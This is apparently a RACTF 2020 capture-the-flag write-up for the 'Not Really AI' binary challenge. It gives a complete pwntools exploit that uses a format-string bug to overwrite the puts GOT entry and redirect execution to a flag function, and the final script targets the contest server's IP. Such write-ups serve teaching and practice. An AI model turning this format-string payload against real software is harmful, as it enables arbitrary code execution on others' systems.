RACTF 2020
Not Really AI (binary)
Description
Exploit the service to get the flag.
200 points
Solution Summary
Exploit format string vulnerability 1 to overwrite GOT 2 and redirect code execution so that flaggy function is executed.
Walkthrough
The binary is a 32bits file with no protection.
$ pwn checksec nra
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
The program read some user data but there isn’t buffer overflow.
$ ./nra
How are you finding RACTF?
bla <= READ DATA
I am glad you
bla <= PRINT IT
We hope you keep going!
However it prints the input data in an insecurely way leading to format string attack.
printf@plt (
[sp + 0x0] = 0xffffd210 → "my input data\n",
[sp + 0x4] = 0x00000200
)
And there is a call to puts after that, so you can replace the address of puts in GOT by the address of flaggy function
This way flaggy will be executed when program calls puts.
=> 0x08049225 <+99>: call 0x8049030 <printf@plt>
0x0804922a <+104>: add esp,0x10
0x0804922d <+107>: sub esp,0xc
0x08049230 <+110>: lea eax,[ebx-0x1fcf]
0x08049236 <+116>: push eax
0x08049237 <+117>: call 0x8049060 <puts@plt>
You can get the address of flaggy function and GOT entries using GDB:
gef➤ b * main
gef➤ run
[...]
gef➤ print flaggy
$3 = {<text variable, no debug info>} 0x8049245 <flaggy>
[...]
gef➤ got
GOT protection: Partial RelRO | GOT functions: 8
[...]
[0x804c018] puts@GLIBC_2.0 → 0x8049066
[...]
Exploit
First of all you have to find the offset in stack to the string you provide as input data. Using AAAA%N$x as input data, where N is number that will be incremented in a loop. When program prints 41414141 (AAAA in hex) you find the right position.
from pwn import *
context.log_level = 'error'
for i in range(10):
sh = process('./nra')
sh.readline()
sh.sendline(f'AAAA%{i}$x')
sh.readline()
print(f'%{i}$x', sh.readline().decode()[4:], end='')
Looking at the output you find 41414141 when N is 4. So you can refer to the first four bytes using 4$ in format string.
%0$x %0$x
%1$x 200
%2$x f7f2b5c0
%3$x 80491d1
%4$x 41414141
%5$x 78243525
%6$x a2e5000a
%7$x f7fa5198
%8$x 0
%9$x f7f923ec
Now you can use the memory address of where you want to write as first four bytes followed by a format string who will write the address of flaggy function.
I start with the follow payload, but the program output is so long that it only works locally. Connection to the CTF server is droped before flag is printed.
payload = p32(0x0804c018) # elf.got['puts']
payload += b'aaaaa%134517308d%4$n' # %4$n writes 0x08049245 (address of flaggy function)
By using length modifier, you are able to control the amount of data written by
the %n formatter, so you can write a byte, two-bytes, four-bytes and so on.
I decide to write two-bytes (halt address) in 0x0804c018 and two-bytes (the
other halt) in 0x0804c018 + 2, this way the program output is smaller and I
get the flag.
payload = p32(0x0804c018) # elf.got['puts']
payload += p32(0x0804c01a) # elf.got['puts'] + 2
payload += b'%2044d%5$hn' # writes 0x0804
payload += b'%35393d%4$hn' # writes 0x9245
The final exploit was:
from pwn import *
payload = p32(0x0804c018) # elf.got['puts']
payload += p32(0x0804c01a) # elf.got['puts'] + 2
payload += b'%2044d%5$hn' # writes 0x0804
payload += b'%35393d%4$hn' # writes 0x9245
#sh = process('./nra')
sh = remote('88.198.219.20', 62051)
sh.readline()
sh.sendline(payload)
sh.stream()